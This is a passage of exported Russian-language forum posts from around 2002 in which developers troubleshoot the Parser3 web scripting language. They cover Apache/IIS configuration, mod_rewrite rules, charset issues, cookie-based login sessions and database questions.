А так, в целом, идея создания книги - хорошая, я бы взялся за реализацию этого проекта."
"4122","Насколько я помню указания по установке, нужно было указывать полный путь:\
\
# задание Главного конфигурационного файла\
# (укажите полный путь)\
SetEnv HTTP_PARSER_ROOT_CONFIG /path/parser3.conf"
"4123","RewriteRule   ^news/([0-9]+)/$  /news/news_korp.html?korp=$1"
"4124","Пробовал ставить путь, выходил облом. Мол, прочитал -1 байт из файла, а должен был от 0 до четырех с чем-то тысяч...\
\
Закомментировал первый if, и течение этого увлекательного процесса наткнулся на то, что $charsetdir прописана как /usr/local/etc/parser3.charset, в то время как у меня она была совсем по другому адресу.\
Поправил, всё вроде заработало."
"4125","Парсер на линуксе RH7.2, Apache 1.3.26, русский.\
Проблема такая:\
Русский текст никак не читается, если проверить телнетом по 80 порту, то charset=iso-8859-1, но $response:charset выдается как windows-1251.\
\
Где искать решение?\
Может, в нечитабельный вид текст трансформировался, когда я его по фтп закачивал?"
"4126","я так пробовал."
"4127","Честно скопировал parser3.cgi в каталог cgi-bin, конфигурациб туда же отправил, в .htaccess прописал путь к конфигурации. Короче, все по инструкции. И в результате на все мои парсерные страницы получаю 404!!! Или я ламер (однако на IIS ставил и все работает), или хостинг голимый (рекламу свою пихает - может из-за этого). Подскажите, что делать. "
"4128","Пример № 4, но для MS Access!\
\
Поменял\
^connect[mysql://пользователь:пароль@хост/база_данных]\
на\
$connect_string[odbc://DSN=news^;UID=^;PWD=] \
\
При попытке внести запись, получаю такую ошибку:\
\
CDBException: Ошибка синтаксиса в инструкции INSERT INTO.\
\
insert into news (date, header, body) values ('2002-7-17', 'proba', 'roba') \
\
/www/parser/adm/index.html(29)\
exception.type=sql.execute \
--------------------------------------------------------------------------------\
sql C:/intranet/magnit/www/parser/adm/index.html(29)\
connect C:/intranet/magnit/www/parser/adm/index.html(28)\
if C:/intranet/magnit/www/parser/adm/index.html(27)\
body_main C:/intranet/magnit/www/auto.p(66)\
body C:/intranet/magnit/www/auto.p(3)\
\
У меня системный DNS news!\
Подскажите пожалуйста где ошибка!"
"4130","зри в log - пости сюда\
\
если не пишется, то можно включить такое:\
RewriteLogLevel 9\
RewriteLog \"/путь/rewrite.log\"\
"
"4133","artemka.spb.ru\
Метод универсальной сортировки HTML таблиц для Internet Explorer 6.0 и старше.\
Нажимая на заголовок столбца таблицы можно увидеть результат сортировки. При этом не имеет значения количество столбцов таблицы. Исходный текст HTML подвергается очень незначительным изменениям. Все аттрибуты тэгов таблицы сохраняются. При этом не происходит обращения к серверу, вся функциональнось выполнена на клиентской стороне. Используемые средства: XSL(sorter.xsl), JavaScript(sorter.js) \
"
"4136","[code]10.1.3.11 - - [17/Jul/2002:19:01:53 +0400] [www.zelan.ru/sid#8104464][rid#81a2034/initial] (3) [per-dir /usr/www/zelan/news/] strip per-dir prefix: /usr/www/zelan/news/1503 -> 1503\
10.1.3.11 - - [17/Jul/2002:19:01:53 +0400] [www.zelan.ru/sid#8104464][rid#81a2034/initial] (3) [per-dir /usr/www/zelan/news/] applying pattern '^news/([0-9]+)/$' to uri '1503'\
10.1.3.11 - - [17/Jul/2002:19:01:53 +0400] [www.zelan.ru/sid#8104464][rid#81a2034/initial] (1) [per-dir /usr/www/zelan/news/] pass through /usr/www/zelan/news/1503\
[/code]"
"4137","Если Студия хочет заявить о себе еще в одной области -- издание книг о собственных продуктах, то думаю, что издание книги по Парсеру подошло бы для этой цели. Денег эта затея, конечно, не принесет (год работы, новое дело, узкий круг читателей), зато можно будет сказать: да, мол, у нас есть издания своих книг :-)\
\
Чего-то я уже флудлю, больше, наверное, не буду :-)"
"4138","Апач пытается применить правило \
[code]\
^news/([0-9]+)/$\
[/code]\
к строке \
[code]\
1503\
[/code]\
о чем сообщает во второй строке фрагмента лога.\
Естественно, он \"проходит\" дальше, не делая редиректа, о чем сообщает в строке номер 3 фрагмента лога.\
А все потому, что он убирает путь до запрашиваемого файла, потому что правило RewriteRule записано небось в .htaccess\
Вообщем надо\
[code]\
^news/([0-9]+)/$\
[/code]\
исправить на \
[code]\
^/([0-9]+)/$\
[/code]\
Может быть со слешами я ошибаюсь, надо попробовать."
"4139","Вот такое правило:\
[code]RewriteRule   ^([0-9]+)/?$  news_korp.html?korp=$1[/code]"
"4140","очевидно, зависит от \"ПО\""
"4142","ПО ImageMagick позволяет всю мета-информацию \"вынуть\" из файла командой \"convert image.jpg exifdata.app1\". Но полученная информация по прежнему не читаемая (просто из файла \"image.jpg\" вырезается кусок содержащий мета-информацию и обзывается \"exifdata.app1\"). Как привести всё это к читаемому виду? ;-)))"
"4143","Читай путь решения на http://www.parser.ru/forum/?id=3963"
"4144","Аксесу не нравицца слово [b]date[/b]. Оно, типа, зарезервированное, ну, или формат этой самой даты. Всё-таки скорее первое чем второе."
"4146","У меня указан не полный путь ([i]parser3.conf[/i] находится в той же папке, где и [i]parser3.exe[/i], и если путь не указать вообще, то будут проблемы [i]только[/i] с кодировками). \
[code]SetEnv HTTP_PARSER_ROOT_CONFIG \"parser3.conf\"[/code]"
"4147","Пути должны быть абсолютные. Затем они и раскиданы кусочками по разным переменным типа PARSER_ROOT -- чтобы ты мог в случае чего изменить путь только в одном месте.\
\
Что касается провайдера… редкий провайдер (с нормальными админами и отношением к клиенту) решится менять файловую структуру хостинговой машины. Это ж смерти подобно.\
"
"4148","Ну зачем пользоваться переменными среды, когда можно прекрасно обойтись без них? Лишняя память выделяется, лишнюю проверку содержимого нужно устраивать -- а вдруг там nop;nop;nop… окажется или еще что. Надо быть проще."
"4149","ситуация:\
парсер3 на apache под winxp.\
\
если в test.html написать:\
Дважды два = ^eval(2*2)\
то выводит, разумеется, \"Дважды два = 4\".\
\
однако, если написать хотя бы:\
^var[VarName;VarContent]\
то сразу - \
'var' (void) not a method or junction, can not call it  type: parser.runtime...\
\
не говоря уже об уроках из доков.\
\
какие будут мысли?\
__________\
содержание parser3.conf:\
\
@auto[]\
$charsetsdir[d:\\parser3\\etc\\parser3.charsets]\
$sqldriversdir[d:\\parser3\\lib]\
\
$CHARSETS[\
#    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
odbc	$sqldriversdir/parser3odbc.dll\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
pgsql	$sqldriversdir/parser3pgsql.dll	$sqldriversdir/libpq.dll\
oracle	$sqldriversdir/parser3oracle.dll	C:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin&ORACLE_HOME=C:\\Oracle\\Ora81&ORA_NLS33=C:\\Oracle\\Ora81\\ocommon\\nls\\ADMIN\\DATA\
}]\
]\
\
#for ^file:load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
#$MAIL[\
#	$.SMTP[mail.domain.ru]\
#]\
\
@unhandled_exception[exception;stack]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
<title>UNHANDLED EXCEPTION (root)</title>\
<body bgcolor=white>\
<font color=black>\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
EOF\
___________\
из httpd.conf:\
\
# задание Главного конфигурационного файла\
# (укажите полный путь)\
SetEnv HTTP_PARSER_ROOT_CONFIG /conf/parser3.conf\
# назначение обработчиком .html страниц:\
AddHandler parsed-html .html\
Action parsed-html /cgi-bin/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
EOC"
"4150","что вот это [b]^var[VarName;VarContent][/b] такое, применительно к третьему Парсеру, совершенно не понятно :) Это немного из другой оперы, сиречь из оперы Парсера намба два. Для P3 эта конструкция записывается следующим образом:\
[code]\
$VarName[VarContent]\
[/code]\
Ну, если это начало, то действительно [i]\"не говоря уже об уроках из доков\"[/i]... А parser3.conf пока не причём. :)))"
"4151","Это я сразу сделал, но не помогает.\
"
"4152","Потому как если в конфиге неправильно указать пути в SQL-драйверу, то при запуске parser ругается. Следовательно пути из конфига считываются, но почему-то не все...\
\
Дмитрий\
"
"4154","Для начала попробовал распечатать $CHARSETS.windows-1251, получил правильный путь к файлу, т.е. конфиг считывается.\
\
Однако по-моему в документацию закралась ошибка.\
Там написано (PDF, стр.88, Задание кодировки ответа):\
\
$response:charset[кодировка]\
\
а заработало так:\
\
$response:charsets[кодировка] - в слове charset на конце 'S' !\
\
но при response:content-type $.charset действительно пришется без 's' на конце.\
\
---\
Дмитрий\
"
"4155","Это ты просто другой переменной задал значение. То же самое, если вообще значения не задовать. Решение проблемы -- указание главного конфигурационного файла. "
"4157","Вот как всегда, всё самому надо искать! ;-)\
Если кому надо -- http://www.sentex.net/~mwandel/jhead/ \
Доступны исходники и бинарники для win32, linux, max os x."
"4158","тем не менее броузер стал правильно кодировку понимать.\
\
Хотя при этом автоматическое перекодирование работать не будет ;(\
Попробую по твоему совету...\
\
---\
Дмитрий\
\
"
"4159","сделал два конфиг файла, прописал пути явно и почти все заработало.\
Теперь таблицы видит, но выдает такую ошибку:\
\
transcodeFromUTF8 error: too big tmpVal(0x000DEE20)\
\
Что-бы это значило ?\
\
---\
Дмитрий\
"
"4160","И вот сразу вопрос, насколько тормозится работа, ведь как мне кажется обработка больших таблиц должна очень сильно тормозить процессор."
"4165"," потенциальным юзерам и, ночью, полезть в их браузеры и повключать куки? :)"
"4166","После редиректа на news_korp.html (http://www.parser.ru/forum/?id=4113), результат работы следующего кода:\
[code]\
@auto[]\
$razdelId[news_$form:korp]\
#end of @auto[]\
\
@main[]\
$razdelId\
$form:korp\
#end of @main\
[/code]\
такой:\
[code]\
news_\
1503\
[/code]\
То есть, обращение к $form:korp из @auto[] не работает.\
Может, обработка формы идет после обработки макроса @auto[]?"
"4168","Человек вводит пасс, логин, на их основе + рэндом(10000000000000000000000000000000000000000000)  генерится временное айди с жизнью минут 15(а там как поставишь) и усе!\
Юзвер может лазить где угодно не закрвеая окна отмеренный ему срок, а иначе вводит заново логин и пароль."
"4169","http://www.design.ru/kovodstvo/paragraphs/48.html"
"4170","Удали свои вставки\
[code]\
#end of @auto[]\
[/code]\
[code]\
#end of @main\
[/code]\
И должно сработать, у меня лично заработало.\
И между @auto[] и @main[] ставь хотябы одну пустую строку.\
А так форма обрабатывается нормально до того как генерится страницаю"
"4173","Арт. Лебедевым, но безопасность и удобство по-моему выше псевдодизайна содержания адресной строки.\
Что  бы было удобно - нарисуй нормальную навигацию, а на форуме вообще оговариваются вопросы  програмной части сайта, предлагаются конструктивные решения... ИМХО"
"4174","Код:\
[code]\
@auto[]\
$razdelId[news_$form:korp]\
\
\
@main[]\
$razdelId\
$form:korp\
[/code]\
Результат:\
[code]\
news_\
1603\
[/code]"
"4176","Я вынимаю техст из mySql, как мне сделать чтоб, все переводы строки в нем так же и отображались.\
Когда там явно написано<br> я делаю ^untaint{$text} и нормально."
"4177","Ты говоришь про удобство программиста, Лебедев (и я с ним согласен) про удобство пользователя."
"4178","если ты считаешь удобным перемещаться при помощи адресной строки\
марш под линкс - я лучше еще и прсто , теленто страницы тягать с серваков"
"4179","да вы не поняли суть. Я совсем не пользуюсь URL для навигации, - это глупо. Человеческий URL помогает нормальной ориентации, - это [b]дополнительное[/b], а не основное средство навигации."
"4180","В чем лучше хранить сообщения форума в таблице SQL или в текстовых файлах?\
Меня интересует оптимизация с точки зрения поиска по сообщениям.\
Просто в форум, который я пишу будут выкладывать достаточно емкие сообщения, иногда более 10кб. Я слышал что это не лучший выход хранить такие большие тексты в SQL таблице. Лучше их хранить в текстовиках а в SQL хранить индексы...\
Что посоветуете?"
"4181","Работать не удобно. \
Дома стоит парсер и апаче потом все файлы переделываются в html и затем выкладываются на бесплатный сервер. Теряется функциональность и быстрота.\
Пора сделать хостинг с парсером не требующий больших капиталовложений т.е. народный. Это - рекламма для парсера и для хостера куча выгоды.\
У меня таких знакомств нет, но письма нескольким хостерам и Артемию Лебедеву я отправил.\
Спасибо за внимание.\
Ян Бравый Робертович\
"
"4182","Я бы тупо залил все в базу и юзал ее.\
Если будет трещать - пошел бы ругаться с хостером. %)"
"4183","http://www.parser.ru/forum/?id=1207\
\
там четко сказано, почему так происходит. кажется (утверждать не буду), и в доке про это есть."
"4184","Я бы сделал две таблицы, связанные по message_id: message_body и message. В первой - только тексты емкие, во второй - индексы и служебная информация. И работать будет быстро, и нет проблем с файлами."
"4186","Просто товарищи невнимательно читают примеры."
"4187","А не рано ли использовать класс cookie в auto.p по тем же соображениям что и для класса form? "
"4189","ёпт, ну и бадья с этими вторыми и третьими %) поди разберись какие доки для второго, какие для пятьдесят первого..."
"4190","Тогда немного отвлекись, создай новый auto.p и новый index.html\
Внутрь индекс.хтмл вложи что хочешь, типа Привет мир!\
В auto.p пропиши:\
[code]\
@auto[]\
$razdelId[news_$form:korp]\
@main[]\
$razdelId\
$form:korp\
[/code]\
и все, теперь введи в броузере путь/index.html?korp=123\
и у тебя все сработает.\
У меня же получилось.\
"
"4191","Необходимо отобразить две переменные, так чтобы между ними была точка без пробелов (типа 18.07)\
Если так:\
$a[18]\
$b[07]\
$a.$b\
\
string method not found\
\
А так:\
$a[18]\
$b[07]\
$a^.$b\
\
parse error, expecting `STRING' or `'['' or `'$''\
\
Как же это сделать?\
"
"4193","если я в index.html напишу, например, hello world!, тогда это переопределит метод @main из auto.p\
В чем фишка, не понял..."
"4195","Спасибо огромное все посмотрю и воспользуюсь.\
Ян Бравый"
"4202","Следует так же написать [code]$request:charset[windows-1251][/code]. Тогда всё должно быть ок. ;-)"
"4203","Обычно, в именах файлах есть точка, а после неё расширение (в dos/win32 системах почти всегда). Так что можно \"заложить\" в каталогах на точку, и определять файлы как что-что с точкой, а каталог без. ;-)"
"4204","http://parser2.parser.ru/forum/message_6447.html\
и всю ветку.\
\
Еще попробуй сделать поиск по слову \"LIKE\" в форумах p2 и p3."
"4205","Народ!\
Просьба не ругать за кривизну кода, т.к. я еще новичок.  \
У меня есть два решения проблемы создания сессий:\
\
1) mod_rewrite\
т.е. через rewrite_rule отслеживать что-то типа /session/key/usual_path\
\
2) Cookies.\
Вот что я набросал:\
\
[code]\
\
#Цель – в случае успешной авторизации поставить $auth[ok]\
\
^if(def $cookie:user_id){\
\
#cчитаем текущую секунду недели\
\
	$time[^date::now[]]\
	$week_second[^eval(($time.weekday * 86400) + ($time.hour * 3600) + ($time.minute * 60) + $time.second)]\
\
#загружаем таблицу с ключами сессий и перебираем ее\
#если находим ключ из куки, то проверяем соответствие IP, если и он совпадает,\
# то проверяем время создания ключа. Путем отнимания текущей секунды недели от \
# времени в таблице, если разница более 900 сек. (15 мин.), то увы.\
	\
	$keys[^table::load[session_keys.dat]]\
	\
	^keys.menu{\
		^if($keys.key eq $cookie:user_id){\
			^if($keys.ip eq $env:REMOTE_ADDR){\
				^if(^eval($week_second - $keys.time) < 900){\
					$auth[ok]\
				}\
			}\
		}\
	}\
}{\
\
# если авторизация через куки не прошла, то просто проверяем пароль.\
#если он совпал, ставим флаг ($auth[ok]), генерируем ключ, записывает его в куки,\
#добавляем его в таблицу (+ ip и время), сохраняем ее.\
\
\
	$users[^table::load[users.dat]]\
	^users.menu{\
		^if($users.login eq $form:login && $users.password eq $form:password){\
			$auth[ok]\
			\
			$i[32]\
			$abc[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]\
		\
			^while($i >= 0){ \
				$key[$key^abc.mid(^math:random(61);1)]\
				$i[^eval($i-1)]\
			}\
	\
			$cookie:user_id[ \
				$.value[$key]\
				$.expires[session]\
			]\
		\
			^keys.append{$env:REMOTE_ADDR	$key	$week_second}\
\
#Здесь должен быть код очистки таблицы от старых записей\
#Но я его пока не придумал :(\
\
			^keys.save[session_keys.dat]\
\
		}\
	}\
}\
\
# финиш\
\
^if($auth eq ok){\
successes_variant\
}{\
error_variant\
}\
\
[/code]\
\
P.S. Сохранять в SQL не предлагать, т.к. такой возможности нет.\
(Иначе вопроса и небыло бы) .\
Думаю, может для сохранения и очистки таблицы использовать перл?\
\
P.P.S. Возможно что-то похожее будет применено для адм. скрипта сайта: макс. число юзеров 5, одновременно работающих 2. Вероятность работы в ночь с воскресения на понедельик крайне мала.\
\
P.P.S. Какое оптимальное время для длительности сессии?\
"
"4207","[code]\
$time[^date::now[]]\
$week_second[^eval(\
	($time.weekday * 86400) + \
	($time.hour * 3600) + \
	($time.minute * 60) + \
	$time.second\
	)]\
$keys[^table::load[session_keys.dat]]\
\
^if(def $cookie:user_id){\
	^keys.menu{\
		^if($keys.key eq $cookie:user_id){\
			^if($keys.ip eq $env:REMOTE_ADDR){\
				^if(^eval($week_second - $keys.time) < 900){\
					$auth[ok]\
				}\
			}\
		}\
	}\
}\
\
^if($auth ne ok){\
	$users[^table::load[users.dat]]\
	^users.menu{\
		^if($users.login eq $form:login && $users.password eq $form:password){\
			\
			$auth[ok]\
			\
			$i[32]\
			$abc[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]\
		\
			^while($i >= 0){ \
				$key[$key^abc.mid(^math:random(61);1)]\
				$i[^eval($i-1)]\
			}\
	\
			$cookie:user_id[ \
				$.value[$key]\
				$.expires[session]\
			]\
		\
			^keys.append{$env:REMOTE_ADDR	$key	$week_second}\
			^keys.save[session_keys.dat]\
		}\
	}\
}\
[/code]"
"4209","Могу я принудительно загрузить любую другую страницу, без нажатия на ссылку, либо на кнопку."
"4210","При внешнем вызове метода класса [i]document[/i], если в этом методе используется переменная этого же класса ([i]document[/i]), и если эта переменная содержит код ($doctype{}), -- появляется ошибка [code]junction used outside of context\
\
exception.type=parser.runtime design c:/program files/apache group/apache/htdocs/p3/test/index.html(1)[/code]\
\
Содержимое [i]document.p[/i]\
[code]@CLASS\
document\
\
@auto[]\
$doctype{<!-- -->}\
\
@design[]\
$doctype[/code]\
\
Содержимое [i]index.html[/i]\
[code]^use[/test/document.p]^document:design[][/code]\
\
Если присваивать переменной значение как $doctype[<!-- -->], то ошибка не возникает, но мне нужна эта переменная как код, а не как результат его работы. Что можно сделать? "
"4211","На перле написал 'очиститель' файла с таблицами + сессия продлевается после каждого действия. Вроде работает...\
Какие будут замечания?\
\
[code]\
$time[^date::now[]]\
$week_second[^eval(\
	($time.weekday * 86400) + \
	($time.hour * 3600) + \
	($time.minute * 60) + \
	$time.second\
	)]\
\
$keys[^table::load[session_keys.dat]]\
$users[^table::load[users.dat]]\
\
^if(def $cookie:user_id){\
	^keys.menu{\
		^if($keys.key eq $cookie:user_id){\
			^if($keys.ip eq $env:REMOTE_ADDR){\
				^if(^eval($week_second - $keys.time) < 900){\
					$auth[ok]\
					$access_level[$keys.access]\
					$cgi_update[^file::cgi[/cgi-bin/auth.cgi;$.update[$keys.key]$.time[$week_second]]]\
				}\
			}\
		}\
	}\
}\
\
^users.menu{\
		^if($users.login eq $form:login && \
		$users.password eq $form:password){\
			$auth[]\
		}\
\
}\
\
^if($auth ne ok){\
	\
	^users.menu{\
		^if($users.login eq $form:login && \
		$users.password eq $form:password){\
			\
			$auth[ok]\
\
			$i[32]\
			$abc[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]\
		\
			^while($i >= 0){ \
				$key[$key^abc.mid(^math:random(61);1)]\
				$i[^eval($i-1)]\
			}\
	\
			$cookie:user_id[ \
				$.value[$key]\
				$.expires[session]\
			]\
		\
			^keys.append{$env:REMOTE_ADDR	$key	$week_second	$users.access	$users.login}\
			^keys.save[session_keys.dat]\
			$access_level[$users.access]\
			$cur_user[$users.login]\
			^if(^keys.count[] > 10){\
				$cgi_auth[^file::cgi[/cgi-bin/auth.cgi;$.clean[$week_second]]]\
			}\
		}\
	}\
}\
[/code]"
"4213","Текст auto.p\
[code]\
@auto[]\
$razdelId[news_$form:korp]\
\
@main[]\
$razdelId\
$form:korp\
^body\
\
@body[]\
<http><head><title>Hello world!</title></head>\
<body>^text_body[]</body></html>\
[/code]\
\
Текст файла index.html\
[code]\
@text_body[]\
Hello world!!!\
[/code]\
\
Запускай index.html?korp=123\
И все пойдет. Просто когда что-то не получается, приводи все к простым примерам, тогда тебе легче будет. Этот пример 100% рабочий."
"4214","Можешь через JavaScript\
[code]\
<script>popupWin = window.open(нужный_файл.html, заголовок, \"status=yes,menubar=yes,toolbar=no,resizable=yes,scrollbars=yes,location=yes,width=500,height=500);</script>\
[/code]\
Откроет окно 500х500 с указанным содержимым, вставляется этот код хоть куда."
"4215","Не очень понял вопроса, но вот какие замечания есть.\
[code]\
@CLASS\
document\
\
@auto[]\
$doctype[<!-- -->] #<- Здесь по моему должны быть квадратные скобки\
\
@design[]\
$doctype\
[/code]\
\
Апеременную, как текст можно вывести вот так $$doctype"
"4216","У меня возникли проблемы с поиском по тектовым полям базы, вернее по полям, содержащим  ср-1251..."
"4218","Ребятки!\
Я вчера сидел вечером, настраивал роутер и вдруг на меня снизошло:\
Ведь, все-таки, как клево, что ПАРСЕР есть!\
Спасибо всем разработчикам, и тем, кто хоть какое-то место :) к этому приложил.\
Конечно в нем нет многих фичей, присуих относительно старым языкам программирования, но ...НО он клёвый.\
Раньше колбасил все на перле.Не то чтобы ПАРСЕР его заменил, но ...НО он клёвый.\
Хорошо, что вчера вечером все разработчики находились за 1000 километров, далеко от меня, а то бы я сто пудов целоваться от рассентименталенности моей вчерашней полез и водкой с пивом дня 3 бы поил... а, может, это и плохо.\
\
СПАСИБО за подсказки на форуме.\
"
"4219","Я сижу и думаю как клёво что они есть. Без них я бы никогда к компу не подошел. Но вот водкой их всех поить денег не хватит :))"
"4220","Ничего личного против Майкрософт, но я не о них писал, а о ПАРСЕРЕ,котрый \"нам строить и жить помогает\""
"4221","просто пошутил, извини если обидел. Но лучше порывы души при себе оставлять, а не писать об этом в форуме. Прикинь если каждый кто юзает парсер начнет изливать тут свою любовь к нему, можно и мармеладом растечься по полу от любви к парсеру :) Короче давайте только по делу писать."
"4222","Уважаемые! Подсобите мученику.\
Распаковал и поставил все, как написано (W2K + IIS5).\
Делаю первый тестовый пример из документации - получаю вот такое сооббещение в ответ: \
\
\"(void) not a method or junction, can not call it\
navigation\
c:/inetpub/wwwroot/index.html(114)\
exception.type=parser.runtime \"\
\
Похоже, где-то не там dll стоит. Или еще что? Может, кто встречался?"
"4223","И попробуй например в index.html написать чё-нить типа $request:uri посмотреть как он вообще работат..."
"4229","Все ОК! С exe-шником покатило.\
Спасибо всем!"
"4230","Могу я как-то с помощью парсера после условной конструкции ^if()\
в зависимоти от результата автоматически загружать нужную страницу."
"4233","По поводу скобок я тебе могу сказать, что ты сам документацию (да и моё сообщение) не читал. ;-) http://www.parser.ru/docs/lang/vars.htm \
И вообще мой вопрос был совсем другой, и перед тем как на него отвечать, не мешало бы его внимательно прочитать. ;-) "
"4234","Могу предложить более красивый код: \
[code]^text.match[(\\n)][g]{<br>$match.1}[/code]\
и обратно\
[code]^text.match[<br>][g]{}[/code]\
В этом примере мы [i]не удаляем[/i] символ перевода строки, мы просто ставим перед ним [i]<br>[/i]. "
"4235","А зачем, если не секрет, нужна переменная с кодом, да еще и статическая?\
\
А по поводу junction, похоже, что не умеет парсер создавать переменные с кодом в @auto[]... Ни в пользовательских классах, ни в $MAIN"
"4236","По неопознанной причине сервер вскоре после запуска перезагружается. Возможно, слишком много файлов или что-то в этом духе."
"4237","Например, ввел пользователь текст размеченный XML-ем, как с помощью парсера проверить правильность ввода и указать на ошибки, например, что обратную косую черту тут-то забыли \"/>\", или тэг не закрыли, или попытались вставить тэг не из заданого списка. \
\
Знаю что парсер внутри при парсинге :) такой анализ проводит. Можно ли это свойство как-то в ключе данной задачи использовать?"
"4238","Насколько я понимаю в www директории виртуального хоста лежит один файлик .html и на него с помощью mod rewrite все обращения к страницам скидываються. А у него внутри уже парсеровский код который нужную страницу из базы тянет и отдает.\
\
Так вот как сделать так чтобы к этому центральному файлику нельзя было обратиться извне и запросить, скажем, нужную страницу путем передачи GET строки? Чтобы только mod rewrite мог иметь с ним дело."
"4239","Финальное решение - если пользователь обычный - свключенными куками то хранить айли в куках.\
\
Если крутой отключил себе куки то ничвего не поделаешь придеться в урле хранить.\
\
Если отключает куки во время сессии то просить перелогиниться."
"4240","Я хочу попробовать делать сайты с Парсером, но я вообще ничего не знаю о программировании для инета. Я знаю только HTML и CSS. \
\
Так вот я хочу попробовать. Можно ли установить Парсер на обычном ПК под Виндовсом ИксПи Про? Как это сделать?\
\
Я пробовал через hoha.ru, но этот сайт не открывается."
"4242","Вы не подскажите как? И какой файл Парсера мне скачивать. Япока изучил только макросы. Они мне в основном и нужны."
"4243","Как устанавливать IIS под WinXP я не знаю - не приходилось. К 2000 приходилось. Сложностей быть не должно.\
\
Какой файл Parser'а - в разделе \"скачать\" написано."
"4244","можно и так, но у меня 4 раздела(3 неофициальных и каждый из них имеет свой шаблон),  в основном разделе используется 2 шаблона для построения страниц.\
дальше: тут же вроде обсуждали не выйгрышность использования БД для хранения больших текстови картинок, а так - (как говорят наши коллеги из штата Огайо, город Коламбус) - Олга! ;)\
"
"4245","и отлавливать exception.type == xml\
\
Просто делаешь ^xdoc.create{пользовательский_ввод_XML} и смотришь, упало или нет. (^try{}{}) - если упало - говоришь, что \"фигня - дело - переделывай\"... Понятное дело, если пользователь вводит только тэги, придется еще <?xml version=\"1.0\" encoding=\"......\"?>, ссылки на DTD и указание нужного xmlns вписать - иначе xdoc не скрейтится.\
\
К сожалению, исправить \"автоматически\" не получится - не всегда ошибка породилась там, где все рухнуло - но уже из анализа $exception.source, $exception.file, $exception.lineno и $exception.comment можно понять в чем дело и \"подвести\" пользователя к месту с ошибкой."
"4246","Просто проверяешь $request:uri - если он указывает на этот файл, отрабатываешь некий код, который или отдает 404 или что другое..."
"4247","Я установил IIS, установил Парсер. Выполнил все инструкции а что теперь, в каком каталоге создавать сайт? \
\
(пробовал в \\inetpub\\wwwroot сделать страничку с макросом, а результата не получил)"
"4248","Кстати, всё содержимое inetpub/wwwroot желательно удалить."
"4249","Возможно ли с помощью Parser загружать excel'евские таблицы."
"4251","По-подробнее, если можно..."
"4252","Сейчас попробую объяснить. ;-)\
Есть класс [i]document[/i], в котором находиться всё оформление. Во всех документах сайта используется что-то типа [code]$document:body_maintext[^LocalClass:main[]]^document:design[][/code]. \
Т. е. из разных переменных класса [i]document[/i] строиться html-документ (функцией [i]design[/i], где все [i]переменные[/i] перечисляются). И вот я решил добавить ещё одну переменную ($tablewidth[712]), для размера таблиц, а таблицы сами задаются в [i]document:auto[/i], поэтому они должны задаваться кодом (а не результатом его работы), чтобы впоследствии при изменении $tablewidth все изменения отразились бы в полученном документе. ;-) Приведу кусочек приблизительного кода для лучшего понимания. ;-)\
[code]\
@CLASS\
document\
\
@auto[]\
$tablewidth[712]\
\
$doctype[<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">]\
\
$title[$env:SERVER_NAME]\
\
#для правильной реализации следующая переменная должна быть кодом{}, а не результатом его работы[].\
#в данном случае[] результат изменения переменной $tablewidth в другом файле (классе) не повлияет на $body_header\
$body_header[\
<TABLE width=\"${tablewidth}\">\
<TR><TD>\
$env:SERVER_NAME\
</TD></TR>\
</TABLE>\
]\
\
$body_maintext[]\
\
################################################################\
@design[]\
$doctype\
<TITLE>$title</TITLE>\
\
$body_header\
$body_maintext\
[/code]"
"4253","Таблицы надо сохранить с использованием знака табуляции в качестве разделителя, тогда их можно будет загружать в Parser. Как именно это делается не помню, но в \"Сохранить как...\" найти можно."
"4254","В тако случае, могу предложить сделать тот же body_header не переменной, а методом класса с одним параметром tablewidth - на порядок более гибкая конструкция (особенно, если нужна его \"вычисляемость\"). А статическим переменным оставить роль неизменных констант. Мне кажется, это более грамотно."
"4255","Делаю буквально следующее:\
$url[/attr_img/$form:up/$form:new_typ/$form:new_name]\
$f[$form:new_file]\
^f.save[binary;$url]\
\
Файл создается в нужном месте, но испорченный.\
Все символы с кодом 0 заменяются на пробелы.\
Хорошо видно например в фаре. Открываешь просмотр\
файлов оригинального и сохраненного в неке,\
переключаешься между окнами и видно, что 00 меняется на 20.\
\
Кто виноват?\
\
Кстати, с перлом у меня такая же херь :)\
Отсюда можно заключить, что парсер тут непричем.\
Оффтопик получается, но надеюсь меня простят :)\
\
Сервер Apache RUS 1.3.22 PL30.9\
под Win2k server - это где не сохраняет.\
Под юниксом все то же самое работает на ура.\
\
Очень буду признателен за помощь"
"4256","Или скажи ему CharsetRecodeMultipartForms off"
